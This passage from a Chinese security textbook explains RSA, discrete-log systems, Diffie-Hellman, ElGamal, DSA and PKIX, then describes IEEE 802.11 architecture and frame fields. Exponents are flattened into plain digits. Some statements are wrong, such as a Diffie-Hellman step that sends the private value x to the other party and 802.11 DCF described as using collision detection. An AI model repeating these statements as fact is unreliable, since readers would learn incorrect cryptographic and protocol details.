首先，注意：157=128+16+8+4+1

现在我们执行下面的迭代计算：

399 mod 457=399 相当于3991
 mod 456

3992
 =159201，159201 mod 457=165，相当于3992
 mod 457

1652
 =27225，27225 mod 457=262，相当于3994
 mod 457

2622
 =68644，68644 mod 457=94，相当于3998
 mod 457

942
 =8836，8836 mod 457=153，相当于39916
 mod 457

1532
 =23409，23409 mod 457=102，相当于39932
 mod 457

1022
 =10404，10404 mod 457=350，相当于39964
 mod 457

3502
 =122500，122500 mod 457=24，相当于399128
 mod 457

因此

399157
 mod 457=24×153×94×262×399 mod 457

因为

(a×b) mod n=((a mod n)×(b mod n)) mod n

这计算可依次分裂成：

24×153 mod 457=16，94×262×399 mod 457=158

最后就是，

399157
 mod 457=16×158 mod 457=243

破解RSA算法被认为等价于为因式分解两个大素数的乘积。这是因为必须把模从公钥值中取出，然后对它进行因式分解。据已知最快的因式分解算法计算，该算法的复杂度为：[image: ]
 级，这里n等于模值的二进制位的总数。这大致意味着每增加的10位使模因式分解难10倍。根据目前因数分解的情况推断，在将来，2048bit的密钥更安全。至今为止，已知的最快的因式分解算法是数域筛法。

4.在大的有限域中计算离散对数

第二个著名的数论中的trapdoor one-way函数基于这样一个问题，在一个大的有限域中，计算一个整数的幂值是很容易的，然而计算其逆函数，即它的离散对数，则要困难得多。有限域，也称为Galois域，用GF(p)来表示。Galois域是一个以素数p为模的域，因此，GF(p)中的每个元素a都有一个模乘的逆元素a-1
 ，有 a×a-1
 =1 mod p。

在Z/pZ中，计算f(x)=ax
 =y的复杂度是log x的多项式级别的。给出y计算x=f--1
 (y)=loga
 (y)的问题，即离散对数问题，则要复杂得多。这里，x和y都受限于Z/pZ离散集合中，这与连续情况下求对数有所不同。使用离散来限定之后，情况要难得多。

离散对数问题定义的one-way trapdoor函数陈述如下：

已知a、x，很容易计算Z/pZ中的ax
 （使用反复自乘法）。但是，如果我们隐藏 x值，并向一些人提交y值（我们知道这是ax
 形式），并要求计算是a的多少次幂；它们可能即使用完它们可能获得的所有计算资源，仍然不能给出一个确定的答案。

许多现代公钥加密算法都基于离散对数 one-way trapdoor函数。由于这些算法的简易性，我们把使用ElGamal加密系统和Diffie-Hellman密钥交换算法当作离散对数过程的典型例子。

5.ELGamal 密码系统

这里，私有的解密密钥x是从一个非常大的有限域GF(p) (0＜x＜p-1)中随机挑选出的数，与此相同，另一个数g也是在GF(p)中随机挑选的。在GF(p)上得出公钥gx
 。加密一块明码文本T由这样几步构成，首先随机挑选一个随机数字k，然后在GF(p)中计算密码对

(C1
 ，C2
 )=(gk
 ，Tgxk
 )

注意，这里计算（g xk
 mod p）并不要求知道x。

为了解密密文（C1
 ，C2
 ），我们计算




因为在GF(p)中，我们有

Tgxk
 /(gk
 )x
 =T

值得注意的是，这种加密算法所产生的密文是明文文本的大小的两倍。ElGamal 算法起源于一个数字签名方案，因此它通常被用于数字签名和加密中。

6.Diffie-Hellman密钥交换系统

使用Diffie-Hellman密钥协商算法，可以通过公网在两实体间建立加密密钥而不需要直接交换这一密钥。这样它对于密钥发布的问题提供了一个优秀的解决方案。该算法的安全性与离散对数问题中的one-way trapdoor函数算法的安全有关。这一算法中涉及的数学问题相当简单，首先，两个实体协商出一个大素数n，以及另外一个模n后为素数的数g，后一个特性确保对于在Z/pZ范围内的每个数，也就是从1到p-1间的数，都有某个值a满足ga
 =b mod p。

这两个值g、n可在公网上进行交换，每个实体，如A、B然后就可以根据下面的步骤产生密钥：

A随机选择一个大数x，并传给B

B随机选择一个大数y，并传给A

A通过计算推导出密钥：

X=gx
 mod n

Y=gy
 mod n

K=Yx
 mod n=(gy
 mod n)x
 mod n=gxy
 mod n

B也通过计算推导出相同的密钥：

K=Xy
 mod n=(gx
 mod n)y
 mod n=gxy
 mod n

这样，A和B不一定要经过交换秘密消息也能确定共有的密钥。这一点可以在传统的密钥密码学中的密钥发布中得到有效使用。注意，该密钥协商过程的安全性基于：只是知道gx
 和gy
 的值是无法求得gxy
 的。

7.椭圆曲线加密系统

已经有基于有限域上的椭圆曲线问题的公钥加密系统[KOBL87，MILL86]了。已知一椭圆曲线E上的一点P，以及一个整数a，计算乘积a×P相对容易，而已知a×P的值后求a以使a×P产生一个在E上的点则要难得多。这一问题的一个简单的应用就是在Diffie-Hellman算法中，两实体A、B公开协商出E上的一点P。为了生成密钥，发起方A选择一个随机的大整数a，在E上计算a×P，并把它传给实体B。B作一个类似的计算，并把b×P的结果传给A。两个实体然后计算出密钥：K=a×b×P，该点在E上。


2.2.2 公钥加密服务


1.保密性

显然，公钥密码系统可以用来加密数据。加密的强度是由所使用的特定算法和所采用的密钥长度所决定的。通常，每个算法的健壮性与所使用的 one-way trapdoor 函数的类型直接相关。我们已经讨论过的因式分解一个大数和计算离散对数问题，在现有的计算方法范围内，或在现有的理论体系中，是安全的方法。

RSA算法是目前最广泛使用的公钥加密算法。这一服务的前提是：只有使用接收者的公钥才能加密数据，只有使用接收者的私钥才能解密，因此，只有知道私钥的接收者才能解开加过密的数据。值得注意的是，这种服务要求公钥属于接收者所有。

2.数据源认证

这个服务要求使用私钥进行数据加密，因为私钥只有所有者知道，则使用相应的公钥进行解密就能够自动对对方进行身份认证。使用公钥进行加密，私钥进行解密则不能确定数据源。不过，实际中一般使用数字签名进行数据源认证，这样可以避免加密大量数据。

3.数据完整性

使用可公开获得的公钥进行加密以保护数据的机密性。不过这样，窃听者也可以中途拦截数据，用新数据替换旧数据，并用相同的公钥进行加密。在使用某个公钥算法保证数据的机密性的同时，是无法同时保证数据的完整性的。而采用另外一种方案，即用私钥加密数据而采用公钥进行解密，虽然可以得到数据完整性，却无法保证数据机密性。图2.16说明了当使用公钥加密算法时，数据保密性和完整性之间的关系。

数据源认证、完整性和保密性服务可以通过同时使用公钥加密算法和我们下一节要谈到的数字签名而同时实现。

4.抗抵赖服务

根据公钥密码学的基本前提，私钥只是所有者具有，因此，如果能够使用相关公钥进行解密，那么所有者就无法抵赖。然而，若私钥丢失或被破解，那么所有者就可以否认。对于强度较高的抗抵赖服务来说，私钥从来不会暴露出去，即使所有者都无法看到。可以保护私钥的防篡改硬件对于建立这样的服务是十分必要的。

5.密钥发布

公钥密码学可用来在一个公网上建立密钥连接。简单说来，现在会话密钥成为了需要秘密传输的数据内容，会话密钥用对方的公钥来进行加密，接收方用自己的私钥解开数据内容，然后双方建立了共同的会话密钥。注意，需要对发送方的身份进行严格认证，如果破解了密钥协商的过程，那么以后的所有数据交换内容都会被暴露。


图2.16 当使用公钥加密算法时，实现数据的完整性和保密性



（1）Diffie-Hellman

Diffie-Hellman算法是密钥协商过程的经典选择，这一算法很容易推广到n方的情况。现在假设有三个实体A、B、C，它们需要使用Diffie-Hellman方法得到一个共享的密钥。

首先，A、B、C 交换公开值 g、n；然后每个实体分别产生一个私有值 x、y、z（图2.17（a））。

如图2.17（b）所示，实体A计算出X，并把它发送给实体B；B计算出Y，并把它发送给C；C计算出Z并把它发送给A。

在第二轮中，每个实体分别利用自己私有的值及在上一步中从另一方那接收到的值计算出新值，该值是以接收到的值为底，以自己私有的值为指数计算的幂值，然后依次传给相邻方（图2.17（b））。

现在，各方都利用各自的私有值，计算出共享的密钥（图2.17（b）的右下角）。


图2.17 由三个实体组成的一组执行Diffie-Hellman密钥协商过程



就像我们前面所描述的三个用户的例子那样，Diffie-Hellman算法可以扩展到n个用户组成的一个群体，使用相同的方式执行这个方案。首先，这个群体可设想成已围成一个圆，并以顺时针方向与它紧接着的用户进行通信。如图 2.17（b）所示的环操作就要进行 n-1 次。在每次迭代中，根据上一次从相邻用户那接收到的值，以各自私有值的为指数计算，将结果再传送给下一个相邻用户。

（2）使用公共目录服务的Diffie-Hellman

在一个用户群内，使用 Diffie-Hellman 密钥协商协议的另一种方法是让每个实体发布它的公开Diffie-Hellman元件到公开的的目录服务器上。实体A希望与实体B建立一个共享的密钥，它就在目录服务器上查找实体B的Diffie-Hellman公开值，然后计算出密钥。同样的，实体B找回A的Diffie-Hellman公开值，并计算相同的密钥。这个方案使团体里的成员可以和其他成员间共享密钥而不需交换任何秘密信息，而使用上一章介绍的方法，则需交换n(n-1)/2个密钥。图2.18描述了使用一个公共目录服务器的Diffie-Hellman方法。

注意，Diffie-Hellman密钥协商方案并不涉及身份认证。当参与这个密钥协商协议时，用户必须还要依靠额外的身份认证机制。也就是说，实体A不能确保实体B的身份，即使已经与B进行了密钥协商交换。


图2.18 使用公共目录服务器进行Diffie-Hellman密钥协商



（3）经过认证的密钥交换

由Bellovin和Merritt提出的加密密钥交换算法（EKE）把实体身份认证嵌入到密钥协商协议中，因此避免了冒充者进行密钥协商交换。这保证了只在合法实体间建立安全通道。EKE算法步骤概括如下：

假定实体A、B共享一个密码p。

A生成一个公钥对；用一个对称加密算法对公钥部分以p为密钥进行加密，并把它的身份和加过密的公钥传给B。

B用p解开得到公钥；然后生成会话密钥K，并用公钥对之加密，再把它发送给实体A。

A用私钥解开得到会话密钥。

接着，这两个实体使用所得的会话密钥进入加过密的Challenge/Response交互过程。EKE算法可以用来补充 Diffie-Hellman 密钥交换过程，这时可通过利用共享密码的单向变换值来加密一个实体的公钥。

最近，IETF 通过 RFC 2875 推荐使用一个算法，通过使用这一算法，当公钥用于Diffie-Hellman密钥协商过程时，提供拥有相应私钥的证据。特别的，这一 RFC应用于需要通过RSA公司的公钥加密标准（PKCS #10）报文格式对公开的Diffie-Hellman密钥进行认证的情形。PKCS#10通常假设所要求用于认证的公钥算法能够用来进行数字签名。虽然这个建议应用于一个特定的范围内，但它可以推广到任一个Diffie-Hellman密钥交换中。

（4）Kerberos和公钥加密

Kerberos团体已经向IETF提议，定义一个基于公钥技术的算法以获得一个主会话密钥。这一建议特别提到了在和 KDC 服务器进行最初认证时使用公钥技术。Kerberos 协议的扩展已经建议允许客户使用他的/她的公钥和数字签名，而不必一定使用传统的密钥。接到这个请求后，KDC就校验其签名，然后就像以前一样，给客户发一个TGT。具有TGT的回复信息的受保护部分或者使用 Diffie-Hellman 得到的密钥或者使用用户的公钥进行加密。这信息是通过KDC的公钥签名认证的。

在 Kerberos 中使用公钥技术的优点包含简化的密钥管理（如，KDC 不再需要安全地管理可能的大量密钥）。对于使用 Kerberos 的客户，既可以使用传统的密钥方式，也可以使用公钥方式，也可以二者兼用。另外，通过这样的扩展，使得即使出现公钥加密和应用时，Kerberos也是个可行的密钥发布协议。

6.数字签名

公钥加密算法提出后，通过利用单向哈西函数，就能够实现对文档进行数字签名。数字签名可以保障数据的源认证以及支持抗抵赖服务。使用公钥对中的私钥来进行数据流的加密，本身可以保证这一数据是由私钥的拥有者产生，但是为了建立这种保证，加密整个文档就显得太不合算了。幸而有另外的方法，可以不必加密整个文档就能建立这种保证。其中，两种有名的数字签名算法就是RSA和DSA算法。

（1）RSA数字签名

RSA数字签名算法主要有两个步骤：

通过使用一种通用的哈西函数，比如 MD5或安全 HASH算法（SHA-1），形成文档的摘要（digest），摘要要比原文档小得多。

不必加密整个文档，只是加密所产生的摘要。

如果不需要考虑保密性要求，经过签名的文档就可以以明文的方式发送出，数字签名同时提供给接受方用于验证。

图2.19详细说明了RSA签名计算和验证过程。

（2）DSA数字签名

其他种类的数字签名算法，通常只需要该算法能够进行数字签名，而不必进行加密，如标准数字签名算法（DSA），这一算法是美国政府标准。DSA通过使用单向哈西函数SHA-1，能够对任意长的输入数据产生签名。它使用5个公开参数和一个密钥。最开始时，DSA中的密钥长度只是512位，目前已经扩展到1024位。


图2.19 RSA签名计算和验证过程



对于明文P所产生的最后签名，包含两个160比特的整数（r，s）满足：

r=(gk
 mod p)modq

s=(k-1
 (hash(P)+xr)mod q

通过使用DSA密钥中的公开参数以及s和报文，可以进行验证过程。使用如下公式，成功的验证可以得出与签名值r相等的值v。

w=s-1
 mod q

u1
 =(hash(P)*w)modq

u 2
 =rw mod q

v=((g u
 1
 ×yu
 2
 )mod p)mod q

这里，p是512位到1024（64的倍数）位间的素数。q是p-1的一个160位的素因子；k是一个小于q的由签名人产生的随机数；x（密钥）是一个小于q的整数；y是满足

y=gx
 mod p

的p位数，而g是由式

g=h(p-1)/q
 modp

算得；h是小于p-1的整数，且满足

h(p-1)/q
 mod p＞1

由于r的值不依赖于所要签名的数据，可以先计算出r的值，这样可提高DSA的运行速度。图2.20说明了使用DSA的签名和认证过程。


图2.20 使用DSA算法的签名和认证过程



7.混合公钥服务

将数字签名和公钥密码加密结合在一起，就可以形成很多方案，这些方案可以同时取得公钥密码学所能够提供的各种服务。假设如下情形，A希望在加密通道上和B通信，而且需要保证数据的完整、保密和源认证。

A计算出报文的摘要，进行加密，然后签名。

A将报文和所产生的签名，利用预先定义的分隔符号连接在一起，然后对所得结果用B的公钥加密，再把这一报文传送给B。

B利用自己的私钥解开报文，从而实现数据保密。

B 将签名和报文从数据包中取出，利用 A 的公钥，验证签名，这样就实现了数据的完整性、源认证和抗抵赖服务。

该情形中，签名包含在保密的数据包中，这样通信的两个实体都可以使用他们自己的私钥以及对方的公钥，如图2.21所示。


图2.21 混合公钥服务



另外，如果在这些协议的步骤中，使用一些如时间戳或与时间相关的随机数，还可以防止数据监听者的重放攻击。


2.2.3 公钥基础设施介绍


乍一看，公钥密码技术似乎已经完美地解决了密钥密码技术中的密钥管理和密钥发布的问题，所有人都可以用公钥来加密数据，但只有私钥的所有者才能够解密。我们例子中的用户团体曾经为密钥的发布问题所困扰，但现在就可以利用公钥加密技术来进行安全通信，而只需要共享一个数据库，在这个数据库中存有所有用户的公钥。

现在假设某种情况中，该团体中的两个成员，Elyes和Aicha希望她们之间建立一条安全通道。Elyes从公钥库里寻找Aicha的公钥，然后用它加密数据并把加过密的消息发送给Aicha。现在假设另外一个成员，Alice想在这条通信通道上进行窃听，如图2.22所示。首先，在这一安全通道建立之前，Alice把公钥库里的Aicha的公钥替换成她自己的公钥，然后，在第二步中，Elyes以为她找到的是Aicha的公钥，而实际上，这是Alice的公钥。第三步，Elyes 用在第二步获得的公钥对信息包进行加密然后发送给 Aicha。第四步，Alice拦截了信息包，并用她的密钥成功地破解了信息包，阅读了信息后，再使用Aicha的公钥对信息再加密，然后发送。最后，Aicha 接收到信息包，用她的密钥进行解密，但是这个信息包已经被偷看。


图2.22 被第三方窃听者偷换公钥



引起这一攻击的问题主要在于，在使用公钥前，没有安全地验证这一公钥确实属于它所声称属于的那一主体。这样就产生了一个难题，如何使得一个用户，我们一般称作证书信赖方（relying party），能够安全可靠地验证某一个公钥确实属于某一个所有者。

这个问题的一个解决方法是，利用公钥基础设施（PKI）的认证过程。PKI 的核心思想在于我们刚介绍的数字签名原理。依赖公钥服务的各方都只依赖一个实体，即所谓的认证中心（CA）。在一个用户的公钥广为散播之前，CA 用自己的私钥来对这一公钥进行签名，然后存入一个公开的公钥库中。可验证公钥的这一思想，可以追溯到在[KOHN78]出版的著作。

证书信赖方（relying party）安全安装了可信的CA的公钥后，就可以用它来验证每个其他用户公钥的签名，并依次决定是否可用。只有当证书信赖方（relying party）成功校验之后，才与对方开始安全通道会话。对于那些没有经这个CA签名的公钥的攻击者，这一简单的方法可以防止他们的攻击。但是对于那些有这一CA签名公钥的攻击者，这一防范措施就无效了。

为了建立可靠的安全保证，一个复杂的公钥认证过程比简单签名一个加密密钥需要更多的安全元素。这些元素要被嵌入到要被鉴定的数据结构中。对于因特网来说，这一结构被称作X.509第3版证书，而实现它的安全基础设施则被称为X.509公钥基础设施（PKIX），存放证书的结构则是LDAP协议构造的。

正如我们所讨论的，密钥加密中的问题在于将密钥安全地发布给一个实体，而对于公钥加密，则问题在于安全地确认公钥与某一主体的归属关系。公开的可在安全的或不安全的通道上发布的加密密钥，可以存储在公开的目录服务中。已确认的公钥就是那些已经与所有者建立安全准确绑定关系的那些公钥，而这一绑定关系无论传输模式、存储模式或者是处理方式如何都仍然有效。

在因特网中，公钥设施是通过可信的第三方，被称为CA的认证中心利用X.509数字证书来定义和维护的。认证过程的输出就是X.509证书形式的一个数据结构，它代表了公钥及其持有者间的一种密码学绑定关系，这一认证过程的核心就是数字签名技术。PKIX 就是因特网公钥基础设施；抽象语法记法（ASN.1）就是用于描写PKIX结构的符号语言。

在公钥值上加一个数字签名，就构成了一个最简单的证书。不过这一证书易于遭到伪造攻击，而且其中也没有任何有关这一证书的持有者以及签发者的信息。而且，像这样简单的签名一个公钥，也不便于管理证书和公钥。除了公钥之外，一个全面的公钥证书还应当包含其他属性，这些属性和公钥值加起来，再进行数字签名。

由于公钥证书对于快速发展的因特网计算的重要性，IETF在其安全领域内已经着手建立有关公钥基础设施方面的标准，PKIX工作组因此而产生。

IETF是一个由网络设计者、运行者、厂商以及研究者组成的国际组织，致力于因特网结构及相关运行标准的演化。IETF 根据各个主题分成不同的技术领域（如安全），技术工作主要以工作组为单位展开。IETF所采取的建立标准的流程与其他组织相似，首先，提交一份类似于细节详述的草案用于描述某个特定的技术问题，这一草案然后被公开以便为大家所阅读和评论。基于所得到的反馈，一些草案成为了推荐的协议（RFC），一些草案有可能成为信息性的文档，而还有一些则会因过时而被废弃。

1.PKIX证书和证书注销列表（CRL）

1995年，X.509版本3证书被PKIX工作组采纳，用以实现互联网络PKI数字证书。X.509最早来源于ITU X.509版本3，它定义了一系列数字证书的广泛遵从的基本规定，这些规定具有普遍的意义，可以被很多安全协议和应用程序所采纳。

具有一般化意义的X.509版本3的核心一点在于，它包含了一个扩展域，这一扩展域提供了一种标准且灵活的方法，可以用来解释与证书用户相关的动态属性。因此，很多因特网协议和应用都使用了这个域。类似的，CRL版本2的轮廓已经被PKIX工作组提出，CRL主要是用来识别那些已经不再有效或者是被CA注销的证书。通过使用扩展域，CRL版本2也可以应用于大多数的安全协议。

2.PKIX元素

简单说来，PKIX 可以定义为一系列软件、政策、流程以及人机界面的混合。目的是产生、散发和管理两类数据结构：X.509版本3证书和X.509版本2 CRL。前者建立了一个公钥和某一个持有者的绑定，而后者则注销这种绑定。根据定义，PKIX 包含以下这些元件：

一个或多个颁发和注销公钥证书（PKC）的CA。

一个或多个注册管理中心（RA），他们保证公钥和其他一些属性、证书持有者的身份之间的绑定。

被颁布证书，能够签名、加密数据文档或参与密钥协商协议的证书持有者。

在知道某个可信CA的公钥的基础上，能够与基础设施交互以取得证书、触发证书注销请求、验证证书和CRL的有效性的客户。

存储证书和证书注销列表（CRL）的数据库。

可能还会有一个或多个证书的鉴定代理。
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第3章 安全协议


CHAPTER 3


3.1 无线局域网络安全



3.1.1 IEEE 802.11协议的体系结构


1.IEEE 802.11的拓扑结构

IEEE 802.11的拓扑结构由许多组件组成，它们相互作用提供一个无线局域网，能使站点的移动性对高层协议透明。802.11标准规定了网络接口单元NIC和接入点AP的软件接口。802.11标准支持下列两种拓扑结构：独立基本服务集（Independent Basic Service Set，IBSS）和扩展服务集（Extended Service Set，ESS）。这些网络使用一个基本结构模块，IEEE 802.11标准称之为基本服务集（Basic Service Set，BSS）。它提供一个覆盖区域，使BSS中的站点保持充分的连接。一个站点可以在 BSS 内自由移动，但如果它离开了 BSS 区域就不能够直接与其他站点建立连接了。

IBSS是一个独立的BSS，它没有中枢节点，至少包括两个无线站点（见图3.1）。这类网络也被称为单区网，通常用在临时需要组建一个网络的时候。IBSS网络能基本满足控制一个较小区域（如一个房间、一个楼层或医院侧楼）的用户需要。

为满足跨越 IBSS 范围限制的需求，802.11 标准详细介绍了一个 ESS 局域网，如图 3.2所示。该配置满足了大小任意、复杂度高的大范围覆盖网络的需要，不同的站点可以通过AP访问网中的任一BSS网络和网络中任一站点。


图3.1 IBSS结构示意图




图3.2 ESS结构示意图



在ESS中，BSS通过AP和分布式系统连接。AP是网络的中心节点，它为BSS提供到分布式系统的接口，以便将位于各种BSS内的站点连接起来。

802.11标准没有规定分布式系统的构成。因此，它可能是无线局域网，也可能是有线局域网。如果数据帧需要在一个非IEEE 802.11的局域网内来回传输，它们可以通过一个称为入口（portal）的逻辑点进出。

2.IEEE 802.11的逻辑结构

拓扑结构决定了网络的物理组件，而逻辑结构着重定义网络操作，从功能可以看出，IEEE 802.11标准可以被看作网络中的物理层和数据链路层。

数据链路层的基本任务就是激活、保持和拆除数据链路，以及对数据进行检错和纠错。数据链路层中对应的传输单元是帧，MAC 将数据封装在不同的帧中发送，并处理接收端送回的确认帧。另外，该层还提供流量控制的功能。

物理层用来保障网络之间的实际连接。该层根据介质（红外线、空气）的特点，采用不同的调制方式和速率来保障通信链路的连通。图3.3描述了物理层和数据链路层之间的关系。


图3.3 对应于OSI模型的IEEE 802.11参考模型



数据链路层最重要的功能之一是介质访问控制（Media Access Control，MAC），介质访问控制的内容可以映射为两部分：MAC子层协议控制单元（MAC Sublayer）和MAC子层管理实体（MAC Sublayer Management Entity）。MAC子层协议控制单元用于激活数据链路，在发送的时候负责数据的分片和激活物理层的发送电路，在接收的时候负责数据的校验和重组。MAC子层协议控制单元通过MAC子层服务接入点（MAC_SAP）和上层通信，通过物理层服务接入点（PHY_SAP）和物理层联系。MAC 子层管理实体则用来实现对 MAC 子层协议控制单元的管理，通常用来负责与网络的同步和连接，也用于负责系统的功率管理。该层通过MAC子层管理实体服务接入点（MLME_SAP）和站点管理实体取得联系，通过MAC子层及物理层管理实体服务接入点（MLME_PLME_SAP）从物理层管理实体中获取必要的信息。

物理层是协议中的最底层，用来保证通信信道上传输正确的原始比特流，建立、维持和释放数据链路实体间的连接。物理层通常包括三个模块：

物理介质依赖（Physical Medium Dependent，PMD）子层。该模块定义了在两个或多个站点之间通过无线介质发送或接收数据的特性。

物理层会聚（Physical Layer Convergence Procedure，PLCP）子层，该模块把IEEE 802.11 MAC子层协议数据包（MAC sublayer Protocol Data Units，MPDU）映射成适合在两个或多个站点的对等PMD系统之间传送的用户数据和管理信息。

物理层管理实体。该模块与MAC子层管理实体相连，为本地物理层提供管理功能。

3.介质访问控制层

在数据链路层中，比较重要的是介质访问控制子层，即 MAC 层。由于无线信道是一个介质共享的多点访问信道，因此，决定谁具有信道控制权的 MAC 层有着举足轻重的地位。在无线局域网中，MAC层结构包括两种不同的媒体接入方式：

具有冲突检测的载波监听多路访问：一个类似于IEEE 802.3以太网的线路争用协议。IEEE 802.11标准称之为分布式协调功能（Distributed Coordination Function，DCF）。

基于优先级别的访问：一个无竞争访问协议。适用于访问节点安装有点控制器的网络。IEEE 802.11标准称之为点协调功能（Point Coordination Function，PCF）。

分布式协调功能（DCF）和点协调功能（PCF）能在同一个基本服务组（BSS）中提供并行的可选的竞争和无竞争访问期。

点协调功能只能用于BSS网络中。多数情况下，DCF已能满足要求；只有在发送音频和视频等实时信息时，才考虑使用PCF。由于轮询帧的发送，PCF会增大网络的系统开销。

4.物理层

IEEE 802.11在物理层定义了数据传输的信号特征和调制方法，定义了两个无线电射频传输方法和一个红外线传输方法。无线电射频传输标准包括直接序列扩频技术（Direct Sequence Spread Spectrum，DSSS）和跳频扩频技术（Frequency Hopping Spread Spectrum，FHSS），最常用的是直接序列扩频。

目前IEEE 802.11系列物理层支持的传输速率不尽相同，IEEE 802.11标准的网络以1Mbit/s或2Mbit/s的速率传输数据，传输距离能够达到100m。为了提高网络在2.4GHz 工作频段的传输速率，IEEE委员会又制订了标准802.11b。

IEEE 802.11b和IEEE 802.11一样工作在2.4GHz频段，但是由于采用了补充编码键控（Complementary Code Keying，CCK）调制技术，能够支持5.5Mbit/s和11Mbit/s两个新速率。而且IEEE 802.11b可以根据情况的变化，使用动态速率调整，在11Mbit/s、5.5Mbit/s、2Mbit/s和1Mbit/s这几个不同速率之间自动切换。工作在 2Mbit/s、1Mbit/s速率时的IEEE 802.11b工作方式与IEEE 802.11兼容。

IEEE 802.11a工作在干扰较少的5GHz U频带，采用正交频分复用（Orthogonal Frequency Division Multiplexing，OFDM）的独特扩频技术，物理层传送速率最高可达 54Mbit/s，传输层可达25Mbit/s。

为了提高数据传输的可靠性，802.11a采用卷积编码方案，在发送端，数据经过扰码、卷积编码和交织等过程，然后调制发送出去。发送帧包括前导码、PLCP 域和数据域。其中前导码包括长训和短训序列；PLCP 域包括数据速率、长度和调制方式的信息位。接收端利用前导码提取帧同步和载波同步信息，对接收的数据进行定时和载波恢复，并利用码元中的导频信号进行定时和载波跟踪。为了消除由于多径引起的码间干扰，接收端还采用了频域均衡技术，以实现数据的正确解调。最后，数据经过解交织、维特比（Viterbi）解码和解扰等过程后送给MAC层。

由于在IEEE 802.11a与IEEE 802.11b标准之间存在频段与调制方式不同等问题，使得两种产品之间不能互通，因此已拥有IEEE 802.11b产品的用户无法利用IEEE 802.11a设备来实现产品速度上的升级。为了解决这一问题，IEEE制定了802.11g标准，它构建在已有的IEEE 802.11b物理层与MAC层标准的基础上，选择2.4GHz作为工作频段，并将传输速率提高到22Mbit/s以上，使已经使用了IEEE 802.11b产品的用户能以IEEE 802.11g实现速度升级的需求。802.11g增强型标准一般被称为 802.11g+，常见的g+技术有Atheros的Super G技术、Broadcom的Afterburner技术、Conexant的Nitro XM技术、ZyXEL的G+SuperSpeed技术等，这些无线网络速度提升方式无外乎是快速帧（Fast Frames）、包突发（Packet Bursting），或者是Frame Burst（帧突发）这些技术，它们都能提供108Mbit/s乃至超过108Mbit/s的速度。

5.数据格式

在符合 IEEE 802.11 协议的无线局域网中传送的数据类型共有三种：控制帧（Control Frames）、数据帧（Data Frames）和管理帧（Management Frames）。

控制帧用来辅助数据的传送，通常指示信道的收发状况，如表示成功发送的ACK帧等。

数据帧用来传送数据。根据数据的类型，数据帧也有许多类型，如普通的数据帧、不包含任何数据的空帧（Null）等。

管理帧用于网络的管理，包括用于同步的信标帧、用于登录的认证帧等。

每一个符合IEEE 802.11协议的帧都包含三个部分：帧头（MAC header），帧体（Frame body）和校验码（Frame Check Sequence，FCS），如图3.4所示。


图3.4 MAC帧格式



下面分别对MAC帧的各主要字段进行说明。

（1）帧控制（Frame Control）

这个字段长两个字节，指示出当前发送帧的一些重要信息，例如协议的版本、帧的类型等。图3.5给出了帧控制字段的格式。


图3.5 帧控制字段的格式



下面分别介绍帧控制字段各个子字段：

协议版本（Protocol Version）字段：对于当前标准，协议版本号为0。将来如果标准的新版本和旧版本不兼容，IEEE会添加附加的版本号。

帧类型（Type）字段：这个字段表明当前的帧是管理帧、控制帧还是数据帧。

子类型（Subtype）字段：这个字段说明帧的功能，如发送响应（RTS）、清除发送（CTS）等。

发往DS（To DS）字段：发往分布式系统的帧的这一位置1，其他的帧置0。

来自DS（From DS）字段：来自分布式系统的帧的这一位置1，其他的帧置0。当某帧从一个AP经分布式系统发送到另一个AP时，To DS和From DS位都要置1。

分段（More Frag）字段：如果一个MSDU还有其他分段存放在后面的帧中，该字段置1。

重发（Retry）字段：对于重发帧，这一位置1；其他帧置0。重发的原因可能是第一次发送的帧在传输中产生差错，导致FCS出错。

电源管理（Power Management）字段：这一位指明发送站点在完成目前的帧交换之后的电源管理模式。如果站点进入节能模式，MAC层将这一位置为 1，置0表示站点处于工作模式。

更多数据（More Data）字段：如果某站点还有MSDU要发往其他站点，那么发送站点将这一位置为1。

WEP字段：这一位置1表示传送数据要使用WEP算法进行加密/解密处理。

顺序（Order）字段：所有采用严格顺序（Strictly Ordered）服务级别的数据帧将这一位置1，通知接收站点这些帧必须按照顺序处理。

（2）持续时间/标志（Duration/ID）

这个字段通常用来指示当前帧传输所需要的时间。

（3）地址域（Address 1、2、3、4）

地址域通常包含三个地址，即目的地址（DA）、源地址（SA）和BSS网络识别码（BSSID），BSSID一般会被设成AP的地址。在一些特殊情况下，如站点分别属于不同的BSS网络，需要在 AP 之间转发数据时，地址域还会有第四个地址用来协助传送。这时，地址域包含了接收站点的地址（DA）、发送站点的地址（SA）、用于中转数据的接收 AP地址（RA）和发送AP地址（TA）。每个地址值都必须是惟一的，长度为6字节。

（4）序列控制（Sequence Control）

序列控制字段包含每个数据帧的传送序号，这些序号用来帮助接收站点区分接收到的数据帧。同时利用这些序号还可以重组这些数据帧，使其从一个个较小的数据帧合成一个较大的数据帧。

（5）帧体（Frame Body）

帧体部分是一个可变长的部分，容纳了要传送的数据。根据IEEE 802.11规范，在不加密的情况下，帧体部分最长为2312字节。加密后，由于添加了附加信息，帧体部分最长可为2346字节。

（6）校验码（Frame Check Sequence）

发送站点的MAC层利用循环冗余校验算法（Cyclic Redundancy Check，CRC）计算一个32位的帧校验序列，并将结果存入这个字段。

CRC32的生成多项式是：G (x)=x32
 +x26
 +x23
 +x22
 +x16
 +x12
 +x11
 +x10
 +x8
 +x7
 +x5
 +x4
 +x2
 +x+1。

32位的FCS是下列两项之和（模2）的反码：

xk
 ( x31
 +x30
 +x29
 +x28
 +x27
 +x26
 +x25
 +x24
 +x23
 +x22
 +x21
 +x20
 +x19
 +x18
 +x17
 +x16
 +x15
 +x14
 +x13
 +x12
 +x11
 +x10
 +x9
 +x8
 +x7
 +x6
 +x5
 +x4
 +x3
 +x2
 +x+1 ) 除以（模2）G (x)所得的余数，其中k是帧头和帧体总共的长度。

把帧头和帧体的内容乘以x32
 后，再除以（模2）G (x) 所得的余数。

循环冗余校验码由于具有良好的代数结构，计算机中易于实现，编码器简单，检错能力强，故在微机通信中被广泛使用。


3.1.2 无线网络安全介绍


无线局域网安全电路的设计主要包括两个方面：一是站点的入网认证，AP要能识别未授权站点并拒绝其入网申请；二是要保障在网络中传送的数据的安全性，确保未授权的站点无法从网络中截取数据，这就需要对在网络中传送的数据进行加密。下面将详细讨论这两个问题。

1.入网认证

在无线局域网中，每台站点都需要经过入网认证，得到授权后才能加入网络与其他站点通信。AP是整个认证过程的核心。当AP收到站点发来的认证请求后会和自身保存的许可信息做比较。只有那些满足许可要求的站点才能被允许加入到网络中。图3.6是IEEE 802.11标准规定的入网过程。


图3.6 站点入网示意图



在整个入网过程中，可以把站点的状态划分为三个状态：

